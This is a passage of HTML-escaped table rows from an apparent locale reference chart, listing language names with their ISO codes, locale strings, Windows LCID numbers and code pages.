&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Tsonga&lt;/td&gt;&lt;td&gt;ts&lt;/td&gt;&lt;td&gt;ts&lt;/td&gt;&lt;td&gt;1073&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Setsuana&lt;/td&gt;&lt;td&gt;tn&lt;/td&gt;&lt;td&gt;tn&lt;/td&gt;&lt;td&gt;1074&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Venda&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1075&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Xhosa&lt;/td&gt;&lt;td&gt;xh&lt;/td&gt;&lt;td&gt;xh&lt;/td&gt;&lt;td&gt;1076&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Zulu&lt;/td&gt;&lt;td&gt;zu&lt;/td&gt;&lt;td&gt;zu&lt;/td&gt;&lt;td&gt;1077&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Afrikaans&lt;/td&gt;&lt;td&gt;af&lt;/td&gt;&lt;td&gt;af&lt;/td&gt;&lt;td&gt;1078&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Georgian&lt;/td&gt;&lt;td&gt;ka&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1079&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Faroese&lt;/td&gt;&lt;td&gt;fo&lt;/td&gt;&lt;td&gt;fo&lt;/td&gt;&lt;td&gt;1080&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Hindi&lt;/td&gt;&lt;td&gt;hi&lt;/td&gt;&lt;td&gt;hi&lt;/td&gt;&lt;td&gt;1081&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Maltese&lt;/td&gt;&lt;td&gt;mt&lt;/td&gt;&lt;td&gt;mt&lt;/td&gt;&lt;td&gt;1082&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Sami Lappish&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1083&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Gaelic – Scotland&lt;/td&gt;&lt;td&gt;gd&lt;/td&gt;&lt;td&gt;gd&lt;/td&gt;&lt;td&gt;1084&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Yiddish&lt;/td&gt;&lt;td&gt;yi&lt;/td&gt;&lt;td&gt;yi&lt;/td&gt;&lt;td&gt;1085&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Malay – Malaysia&lt;/td&gt;&lt;td&gt;ms&lt;/td&gt;&lt;td&gt;ms-my&lt;/td&gt;&lt;td&gt;1086&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Kazakh&lt;/td&gt;&lt;td&gt;kk&lt;/td&gt;&lt;td&gt;kk&lt;/td&gt;&lt;td&gt;1087&lt;/td&gt;&lt;td&gt;1251&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Kyrgyz – Cyrillic&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1088&lt;/td&gt;&lt;td&gt;1251&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Swahili&lt;/td&gt;&lt;td&gt;sw&lt;/td&gt;&lt;td&gt;sw&lt;/td&gt;&lt;td&gt;1089&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Turkmen&lt;/td&gt;&lt;td&gt;tk&lt;/td&gt;&lt;td&gt;tk&lt;/td&gt;&lt;td&gt;1090&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Uzbek – Latin&lt;/td&gt;&lt;td&gt;uz&lt;/td&gt;&lt;td&gt;uz-uz&lt;/td&gt;&lt;td&gt;1091&lt;/td&gt;&lt;td&gt;1254&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Tatar&lt;/td&gt;&lt;td&gt;tt&lt;/td&gt;&lt;td&gt;tt&lt;/td&gt;&lt;td&gt;1092&lt;/td&gt;&lt;td&gt;1251&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Bengali – India&lt;/td&gt;&lt;td&gt;bn&lt;/td&gt;&lt;td&gt;bn&lt;/td&gt;&lt;td&gt;1093&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Punjabi&lt;/td&gt;&lt;td&gt;pa&lt;/td&gt;&lt;td&gt;pa&lt;/td&gt;&lt;td&gt;1094&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Gujarati&lt;/td&gt;&lt;td&gt;gu&lt;/td&gt;&lt;td&gt;gu&lt;/td&gt;&lt;td&gt;1095&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Oriya&lt;/td&gt;&lt;td&gt;or&lt;/td&gt;&lt;td&gt;or&lt;/td&gt;&lt;td&gt;1096&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Tamil&lt;/td&gt;&lt;td&gt;ta&lt;/td&gt;&lt;td&gt;ta&lt;/td&gt;&lt;td&gt;1097&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Telugu&lt;/td&gt;&lt;td&gt;te&lt;/td&gt;&lt;td&gt;te&lt;/td&gt;&lt;td&gt;1098&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Kannada&lt;/td&gt;&lt;td&gt;kn&lt;/td&gt;&lt;td&gt;kn&lt;/td&gt;&lt;td&gt;1099&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Malayalam&lt;/td&gt;&lt;td&gt;ml&lt;/td&gt;&lt;td&gt;ml&lt;/td&gt;&lt;td&gt;1100&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Assamese&lt;/td&gt;&lt;td&gt;as&lt;/td&gt;&lt;td&gt;as&lt;/td&gt;&lt;td&gt;1101&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Marathi&lt;/td&gt;&lt;td&gt;mr&lt;/td&gt;&lt;td&gt;mr&lt;/td&gt;&lt;td&gt;1102&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Sanskrit&lt;/td&gt;&lt;td&gt;sa&lt;/td&gt;&lt;td&gt;sa&lt;/td&gt;&lt;td&gt;1103&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Mongolian&lt;/td&gt;&lt;td&gt;mn&lt;/td&gt;&lt;td&gt;mn&lt;/td&gt;&lt;td&gt;1104&lt;/td&gt;&lt;td&gt;1251&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Tibetan&lt;/td&gt;&lt;td&gt;bo&lt;/td&gt;&lt;td&gt;bo&lt;/td&gt;&lt;td&gt;1105&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Welsh&lt;/td&gt;&lt;td&gt;cy&lt;/td&gt;&lt;td&gt;cy&lt;/td&gt;&lt;td&gt;1106&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Khmer&lt;/td&gt;&lt;td&gt;km&lt;/td&gt;&lt;td&gt;km&lt;/td&gt;&lt;td&gt;1107&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Lao&lt;/td&gt;&lt;td&gt;lo&lt;/td&gt;&lt;td&gt;lo&lt;/td&gt;&lt;td&gt;1108&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Burmese&lt;/td&gt;&lt;td&gt;my&lt;/td&gt;&lt;td&gt;my&lt;/td&gt;&lt;td&gt;1109&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Galician&lt;/td&gt;&lt;td&gt;gl&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1110&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Konkani&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1111&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Manipuri&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1112&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Sindhi&lt;/td&gt;&lt;td&gt;sd&lt;/td&gt;&lt;td&gt;sd&lt;/td&gt;&lt;td&gt;1113&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Syriac&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1114&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Sinhala; Sinhalese&lt;/td&gt;&lt;td&gt;si&lt;/td&gt;&lt;td&gt;si&lt;/td&gt;&lt;td&gt;1115&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Amharic&lt;/td&gt;&lt;td&gt;am&lt;/td&gt;&lt;td&gt;am&lt;/td&gt;&lt;td&gt;1118&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Kashmiri&lt;/td&gt;&lt;td&gt;ks&lt;/td&gt;&lt;td&gt;ks&lt;/td&gt;&lt;td&gt;1120&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Nepali&lt;/td&gt;&lt;td&gt;ne&lt;/td&gt;&lt;td&gt;ne&lt;/td&gt;&lt;td&gt;1121&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Frisian – Netherlands&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1122&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Filipino&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1124&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Divehi; Dhivehi; Maldivian&lt;/td&gt;&lt;td&gt;dv&lt;/td&gt;&lt;td&gt;dv&lt;/td&gt;&lt;td&gt;1125&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Edo&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1126&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Igbo – Nigeria&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1136&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Guarani – Paraguay&lt;/td&gt;&lt;td&gt;gn&lt;/td&gt;&lt;td&gt;gn&lt;/td&gt;&lt;td&gt;1140&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Latin&lt;/td&gt;&lt;td&gt;la&lt;/td&gt;&lt;td&gt;la&lt;/td&gt;&lt;td&gt;1142&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Somali&lt;/td&gt;&lt;td&gt;so&lt;/td&gt;&lt;td&gt;so&lt;/td&gt;&lt;td&gt;1143&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Maori&lt;/td&gt;&lt;td&gt;mi&lt;/td&gt;&lt;td&gt;mi&lt;/td&gt;&lt;td&gt;1153&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;HID (Human Interface Device)&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;1279&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Iraq&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-iq&lt;/td&gt;&lt;td&gt;2049&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Chinese – China&lt;/td&gt;&lt;td&gt;zh&lt;/td&gt;&lt;td&gt;zh-cn&lt;/td&gt;&lt;td&gt;2052&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;German – Switzerland&lt;/td&gt;&lt;td&gt;de&lt;/td&gt;&lt;td&gt;de-ch&lt;/td&gt;&lt;td&gt;2055&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – Great Britain&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-gb&lt;/td&gt;&lt;td&gt;2057&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Mexico&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-mx&lt;/td&gt;&lt;td&gt;2058&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – Belgium&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;fr-be&lt;/td&gt;&lt;td&gt;2060&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Italian – Switzerland&lt;/td&gt;&lt;td&gt;it&lt;/td&gt;&lt;td&gt;it-ch&lt;/td&gt;&lt;td&gt;2064&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Dutch – Belgium&lt;/td&gt;&lt;td&gt;nl&lt;/td&gt;&lt;td&gt;nl-be&lt;/td&gt;&lt;td&gt;2067&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Norwegian – Nynorsk&lt;/td&gt;&lt;td&gt;nn&lt;/td&gt;&lt;td&gt;no-no&lt;/td&gt;&lt;td&gt;2068&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Portuguese – Portugal&lt;/td&gt;&lt;td&gt;pt&lt;/td&gt;&lt;td&gt;pt-pt&lt;/td&gt;&lt;td&gt;2070&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Romanian – Moldova&lt;/td&gt;&lt;td&gt;ro&lt;/td&gt;&lt;td&gt;ro-mo&lt;/td&gt;&lt;td&gt;2072&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Russian – Moldova&lt;/td&gt;&lt;td&gt;ru&lt;/td&gt;&lt;td&gt;ru-mo&lt;/td&gt;&lt;td&gt;2073&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Serbian – Latin&lt;/td&gt;&lt;td&gt;sr&lt;/td&gt;&lt;td&gt;sr-sp&lt;/td&gt;&lt;td&gt;2074&lt;/td&gt;&lt;td&gt;1250&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Swedish – Finland&lt;/td&gt;&lt;td&gt;sv&lt;/td&gt;&lt;td&gt;sv-fi&lt;/td&gt;&lt;td&gt;2077&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Azeri – Cyrillic&lt;/td&gt;&lt;td&gt;az&lt;/td&gt;&lt;td&gt;az-az&lt;/td&gt;&lt;td&gt;2092&lt;/td&gt;&lt;td&gt;1251&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Gaelic – Ireland&lt;/td&gt;&lt;td&gt;gd&lt;/td&gt;&lt;td&gt;gd-ie&lt;/td&gt;&lt;td&gt;2108&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Malay – Brunei&lt;/td&gt;&lt;td&gt;ms&lt;/td&gt;&lt;td&gt;ms-bn&lt;/td&gt;&lt;td&gt;2110&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Uzbek – Cyrillic&lt;/td&gt;&lt;td&gt;uz&lt;/td&gt;&lt;td&gt;uz-uz&lt;/td&gt;&lt;td&gt;2115&lt;/td&gt;&lt;td&gt;1251&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Bengali – Bangladesh&lt;/td&gt;&lt;td&gt;bn&lt;/td&gt;&lt;td&gt;bn&lt;/td&gt;&lt;td&gt;2117&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Mongolian&lt;/td&gt;&lt;td&gt;mn&lt;/td&gt;&lt;td&gt;mn&lt;/td&gt;&lt;td&gt;2128&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Egypt&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-eg&lt;/td&gt;&lt;td&gt;3073&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Chinese – Hong Kong SAR&lt;/td&gt;&lt;td&gt;zh&lt;/td&gt;&lt;td&gt;zh-hk&lt;/td&gt;&lt;td&gt;3076&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;German – Austria&lt;/td&gt;&lt;td&gt;de&lt;/td&gt;&lt;td&gt;de-at&lt;/td&gt;&lt;td&gt;3079&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – Australia&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-au&lt;/td&gt;&lt;td&gt;3081&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – Canada&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;fr-ca&lt;/td&gt;&lt;td&gt;3084&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Serbian – Cyrillic&lt;/td&gt;&lt;td&gt;sr&lt;/td&gt;&lt;td&gt;sr-sp&lt;/td&gt;&lt;td&gt;3098&lt;/td&gt;&lt;td&gt;1251&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Libya&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-ly&lt;/td&gt;&lt;td&gt;4097&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Chinese – Singapore&lt;/td&gt;&lt;td&gt;zh&lt;/td&gt;&lt;td&gt;zh-sg&lt;/td&gt;&lt;td&gt;4100&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;German – Luxembourg&lt;/td&gt;&lt;td&gt;de&lt;/td&gt;&lt;td&gt;de-lu&lt;/td&gt;&lt;td&gt;4103&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – Canada&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-ca&lt;/td&gt;&lt;td&gt;4105&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Guatemala&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-gt&lt;/td&gt;&lt;td&gt;4106&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – Switzerland&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;fr-ch&lt;/td&gt;&lt;td&gt;4108&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Algeria&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-dz&lt;/td&gt;&lt;td&gt;5121&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Chinese – Macau SAR&lt;/td&gt;&lt;td&gt;zh&lt;/td&gt;&lt;td&gt;zh-mo&lt;/td&gt;&lt;td&gt;5124&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;German – Liechtenstein&lt;/td&gt;&lt;td&gt;de&lt;/td&gt;&lt;td&gt;de-li&lt;/td&gt;&lt;td&gt;5127&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – New Zealand&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-nz&lt;/td&gt;&lt;td&gt;5129&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Costa Rica&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-cr&lt;/td&gt;&lt;td&gt;5130&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;French – Luxembourg&lt;/td&gt;&lt;td&gt;fr&lt;/td&gt;&lt;td&gt;fr-lu&lt;/td&gt;&lt;td&gt;5132&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Bosnian&lt;/td&gt;&lt;td&gt;bs&lt;/td&gt;&lt;td&gt;bs&lt;/td&gt;&lt;td&gt;5146&lt;/td&gt;&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Arabic – Morocco&lt;/td&gt;&lt;td&gt;ar&lt;/td&gt;&lt;td&gt;ar-ma&lt;/td&gt;&lt;td&gt;6145&lt;/td&gt;&lt;td&gt;1256&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;English – Ireland&lt;/td&gt;&lt;td&gt;en&lt;/td&gt;&lt;td&gt;en-ie&lt;/td&gt;&lt;td&gt;6153&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
&lt;tr height=&quot;20&quot;&gt;&lt;td height=&quot;20&quot;&gt;Spanish – Panama&lt;/td&gt;&lt;td&gt;es&lt;/td&gt;&lt;td&gt;es-pa&lt;/td&gt;&lt;td&gt;6154&lt;/td&gt;&lt;td&gt;1252&lt;/td&gt;&lt;/tr&gt;
